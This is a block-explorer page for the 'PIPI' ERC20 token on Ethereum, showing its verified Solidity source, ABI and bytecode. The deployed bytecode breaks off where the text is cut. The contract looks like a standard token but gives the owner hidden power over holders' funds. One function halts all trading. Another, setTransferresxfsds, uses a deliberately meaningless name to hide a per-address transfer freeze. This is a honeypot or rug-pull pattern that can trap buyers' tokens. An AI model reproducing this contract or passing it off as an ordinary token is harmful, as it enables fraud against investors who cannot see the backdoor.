ETH Price: $3,447.98 (+1.45%)

Token

PIPI (PIPI)
 

Overview

Max Total Supply

3,300,000,000 PIPI

Holders

279

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100 PIPI

Value
$0.00
0xEee899B6521DB73E94F4B9224Cdf3db0010Fa334
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PIPI

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-11-26
*/

pragma solidity ^0.8.2;

// IERC20 interface contains standard functions for ERC20 tokens
interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the token balance of a specific account.
    function balanceOf(address account) external view returns (uint256);

    // Transfers tokens to a specified address.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the remaining number of tokens that spender is allowed to spend on behalf of owner.
    function allowance(address owner, address spender) external view returns (uint256);

    // Sets the amount of allowance the spender is allowed by the owner.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers tokens from one address to another, using allowance mechanism.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Emitted when tokens are transferred, including zero value transfers.
    event Transfer(address indexed from, address indexed to, uint256 value);

    // Emitted when the allowance of a spender for an owner is set by a call to approve.
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Context is an abstract contract that provides functionality for retrieving the sender of the transaction.
abstract contract Context {
    // Returns the address of the sender of the transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Ownable contract manages the ownership of the contract.
contract Ownable is Context {
    address private _owner;

    // Emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // The constructor sets the original owner of the contract to the sender account.
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the owner of the contract.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Allows the current owner to relinquish control of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Allows the current owner to transfer control of the contract to a newOwner.
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// Main contract implementing the ERC20 standard with additional features.
contract PIPI is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferresxfsdss;
    bool private _tradingEnabled = true;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // The constructor sets initial values for the token name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Allows the owner to enable or disable trading.
    function setTradingEnabled(bool enabled) public onlyOwner {
        _tradingEnabled = enabled;
    }

    // Returns the current trading status.
    function isTradingEnabled() public view returns (bool) {
        return _tradingEnabled;
    }

    // Sets transfer resxfsdss for a specific account.
    function setTransferresxfsds(address account, uint256 time) public onlyOwner {
        require(account != address(0), "Cannot set resxfsds for the zero address");
        _transferresxfsdss[account] = time;
    }

    // Removes transfer resxfsdss for a specific account.
    function removeTransferresxfsds(address account) public onlyOwner {
        require(account != address(0), "Cannot remove resxfsds for the zero address");
        delete _transferresxfsdss[account];
    }

    // Returns the resxfsds time for a specific account.
    function getresxfsdsTime(address account) public view returns (uint256) {
        require(account != address(0), "Cannot query resxfsds time for the zero address");
        return _transferresxfsdss[account];
    }

    // Returns the name of the token.
    function name() public view returns (string memory) {
        return _name;
    }

    // Returns the symbol of the token.
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    // Returns the number of decimals the token uses.
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    // Returns the total supply of tokens.
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    // Returns the balance of a specific account.
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Transfers tokens to a specified recipient.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_balances[_msgSender()] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferresxfsdss[_msgSender()], "Transfer is currently restricted for this address");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // Returns the allowance one address has over another.
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Sets the amount of tokens one address can use on behalf of another.
    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfers tokens from one account to another, subject to allowance and balance.
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        require(_balances[sender] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferresxfsdss[sender], "Transfer is currently restricted for this address");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getresxfsdsTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeTransferresxfsds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"setTransferresxfsds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600460006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b5060405162002577380380620025778339818101604052810190620000529190620003a4565b6000620000646200024c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600590805190602001906200011a92919062000254565b5082600690805190602001906200013392919062000254565b5081600760006101000a81548160ff021916908360ff1602179055508160ff16600a6200016191906200052a565b816200016e919062000667565b600881905550600854600160006200018b6200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d96200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200023a919062000453565b60405180910390a35050505062000860565b600033905090565b828054620002629062000715565b90600052602060002090601f016020900481019282620002865760008555620002d2565b82601f10620002a157805160ff1916838001178555620002d2565b82800160010185558215620002d2579182015b82811115620002d1578251825591602001919060010190620002b4565b5b509050620002e19190620002e5565b5090565b5b8082111562000300576000816000905550600101620002e6565b5090565b60006200031b620003158462000499565b62000470565b9050828152602081018484840111156200033457600080fd5b62000341848285620006df565b509392505050565b600082601f8301126200035b57600080fd5b81516200036d84826020860162000304565b91505092915050565b60008151905062000387816200082c565b92915050565b6000815190506200039e8162000846565b92915050565b60008060008060808587031215620003bb57600080fd5b600085015167ffffffffffffffff811115620003d657600080fd5b620003e48782880162000349565b945050602085015167ffffffffffffffff8111156200040257600080fd5b620004108782880162000349565b935050604062000423878288016200038d565b9250506060620004368782880162000376565b91505092959194509250565b6200044d81620006c8565b82525050565b60006020820190506200046a600083018462000442565b92915050565b60006200047c6200048f565b90506200048a82826200074b565b919050565b6000604051905090565b600067ffffffffffffffff821115620004b757620004b6620007df565b5b620004c2826200080e565b9050602081019050919050565b6000808291508390505b60018511156200052157808604811115620004f957620004f862000781565b5b6001851615620005095780820291505b808102905062000519856200081f565b9450620004d9565b94509492505050565b60006200053782620006c8565b91506200054483620006c8565b9250620005737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200057b565b905092915050565b6000826200058d576001905062000660565b816200059d576000905062000660565b8160018114620005b65760028114620005c157620005f7565b600191505062000660565b60ff841115620005d657620005d562000781565b5b8360020a915084821115620005f057620005ef62000781565b5b5062000660565b5060208310610133831016604e8410600b8410161715620006315782820a9050838111156200062b576200062a62000781565b5b62000660565b620006408484846001620004cf565b925090508184048111156200065a576200065962000781565b5b81810290505b9392505050565b60006200067482620006c8565b91506200068183620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006bd57620006bc62000781565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006ff578082015181840152602081019050620006e2565b838111156200070f576000848401525b50505050565b600060028204905060018216806200072e57607f821691505b60208210811415620007455762000744620007b0565b5b50919050565b62000756826200080e565b810181811067ffffffffffffffff82111715620007785762000777620007df565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200083781620006c8565b81146200084357600080fd5b50565b6200085181620006d2565b81146200085d57600080fd5b50565b611d0780620008706000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806388297d46116100a2578063b32cdb1211610071578063b32cdb12146102aa578063c2e5ec04146102c6578063d457c48e146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b806388297d46146102225780638da5cb5b1461023e57806395d89b411461025c578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116d5565b60405180910390f35b610136610375565b60405161014391906116f0565b60405180910390f35b610166600480360381019061016191906114a5565b610407565b60405161017391906116d5565b60405180910390f35b610184610507565b6040516101919190611832565b60405180910390f35b6101b460048036038101906101af9190611456565b610511565b6040516101c191906116d5565b60405180910390f35b6101d26108e2565b6040516101df919061184d565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611832565b60405180910390f35b610220610942565b005b61023c600480360381019061023791906113f1565b610a7c565b005b610246610bae565b60405161025391906116ba565b60405180910390f35b610264610bd7565b60405161027191906116f0565b60405180910390f35b610294600480360381019061028f91906114a5565b610c69565b6040516102a191906116d5565b60405180910390f35b6102c460048036038101906102bf91906114a5565b610ef5565b005b6102e060048036038101906102db91906114e1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b6040516103099190611832565b60405180910390f35b61032c6004803603810190610327919061141a565b61117a565b6040516103399190611832565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b60606005805461038490611996565b80601f01602080910402602001604051908101604052809291908181526020018280546103b090611996565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611832565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611812565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611732565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906117b2565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611772565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906118da565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d19190611884565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108226113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461086b91906118da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cf9190611832565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094a6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610968610bae565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906117d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a846113aa565b73ffffffffffffffffffffffffffffffffffffffff16610aa2610bae565b73ffffffffffffffffffffffffffffffffffffffff1614610af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aef906117d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5f90611792565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610be690611996565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1290611996565b8015610c5f5780601f10610c3457610100808354040283529160200191610c5f565b820191906000526020600020905b815481529060010190602001808311610c4257829003601f168201915b5050505050905090565b6000600460009054906101000a900460ff16610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611812565b60405180910390fd5b8160016000610cc76113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a906117b2565b60405180910390fd5b60036000610d4f6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390611772565b60405180910390fd5b8160016000610dd96113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2291906118da565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e789190611884565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e9e6113aa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee39190611832565b60405180910390a36001905092915050565b610efd6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610bae565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f68906117d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611752565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6110316113aa565b73ffffffffffffffffffffffffffffffffffffffff1661104f610bae565b73ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c906117d2565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a906117f2565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112096113aa565b73ffffffffffffffffffffffffffffffffffffffff16611227610bae565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906117d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490611712565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506113c181611c8c565b92915050565b6000813590506113d681611ca3565b92915050565b6000813590506113eb81611cba565b92915050565b60006020828403121561140357600080fd5b6000611411848285016113b2565b91505092915050565b6000806040838503121561142d57600080fd5b600061143b858286016113b2565b925050602061144c858286016113b2565b9150509250929050565b60008060006060848603121561146b57600080fd5b6000611479868287016113b2565b935050602061148a868287016113b2565b925050604061149b868287016113dc565b9150509250925092565b600080604083850312156114b857600080fd5b60006114c6858286016113b2565b92505060206114d7858286016113dc565b9150509250929050565b6000602082840312156114f357600080fd5b6000611501848285016113c7565b91505092915050565b6115138161190e565b82525050565b61152281611920565b82525050565b600061153382611868565b61153d8185611873565b935061154d818560208601611963565b61155681611a26565b840191505092915050565b600061156e602683611873565b915061157982611a37565b604082019050919050565b6000611591602183611873565b915061159c82611a86565b604082019050919050565b60006115b4602883611873565b91506115bf82611ad5565b604082019050919050565b60006115d7603183611873565b91506115e282611b24565b604082019050919050565b60006115fa602b83611873565b915061160582611b73565b604082019050919050565b600061161d601f83611873565b915061162882611bc2565b602082019050919050565b6000611640602083611873565b915061164b82611beb565b602082019050919050565b6000611663602f83611873565b915061166e82611c14565b604082019050919050565b6000611686601d83611873565b915061169182611c63565b602082019050919050565b6116a58161194c565b82525050565b6116b481611956565b82525050565b60006020820190506116cf600083018461150a565b92915050565b60006020820190506116ea6000830184611519565b92915050565b6000602082019050818103600083015261170a8184611528565b905092915050565b6000602082019050818103600083015261172b81611561565b9050919050565b6000602082019050818103600083015261174b81611584565b9050919050565b6000602082019050818103600083015261176b816115a7565b9050919050565b6000602082019050818103600083015261178b816115ca565b9050919050565b600060208201905081810360008301526117ab816115ed565b9050919050565b600060208201905081810360008301526117cb81611610565b9050919050565b600060208201905081810360008301526117eb81611633565b9050919050565b6000602082019050818103600083015261180b81611656565b9050919050565b6000602082019050818103600083015261182b81611679565b9050919050565b6000602082019050611847600083018461169c565b92915050565b600060208201905061186260008301846116ab565b92915050565b600081519050919050565b600082825260208201905092915050565b600061188f8261194c565b915061189a8361194c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118cf576118ce6119c8565b5b828201905092915050565b60006118e58261194c565b91506118f08361194c565b925082821015611903576119026119c8565b5b828203905092915050565b60006119198261192c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611981578082015181840152602081019050611966565b83811115611990576000848401525b50505050565b600060028204905060018216806119ae57607f821691505b602082108114156119c2576119c16119f7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073657420726573786673647320666f7220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722069732063757272656e746c79207265737472696374656460008201527f20666f7220746869732061646472657373000000000000000000000000000000602082015250565b7f43616e6e6f742072656d6f766520726573786673647320666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e6e6f742071756572792072657378667364732074696d6520666f72207460008201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b611c958161190e565b8114611ca057600080fd5b50565b611cac81611920565b8114611cb757600080fd5b50565b611cc38161194c565b8114611cce57600080fd5b5056fea264697066735822122087e8838a569b0bfe96ee51ac4b141f442351ca3a04cf1e74aaefbf4a2ebb2ccc64736f6c63430008020033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000c4b201000000000000000000000000000000000000000000000000000000000000000004504950490000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045049504900000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806388297d46116100a2578063b32cdb1211610071578063b32cdb12146102aa578063c2e5ec04146102c6578063d457c48e146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b806388297d46146102225780638da5cb5b1461023e57806395d89b411461025c578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116d5565b60405180910390f35b610136610375565b60405161014391906116f0565b60405180910390f35b610166600480360381019061016191906114a5565b610407565b60405161017391906116d5565b60405180910390f35b610184610507565b6040516101919190611832565b60405180910390f35b6101b460048036038101906101af9190611456565b610511565b6040516101c191906116d5565b60405180910390f35b6101d26108e2565b6040516101df919061184d565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611832565b60405180910390f35b610220610942565b005b61023c600480360381019061023791906113f1565b610a7c565b005b610246610bae565b60405161025391906116ba565b60405180910390f35b610264610bd7565b60405161027191906116f0565b60405180910390f35b610294600480360381019061028f91906114a5565b610c69565b6040516102a191906116d5565b60405180910390f35b6102c460048036038101906102bf91906114a5565b610ef5565b005b6102e060048036038101906102db91906114e1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b6040516103099190611832565b60405180910390f35b61032c6004803603810190610327919061141a565b61117a565b6040516103399190611832565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b60606005805461038490611996565b80601f01602080910402602001604051908101604052809291908181526020018280546103b090611996565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611832565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611812565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611732565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906117b2565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600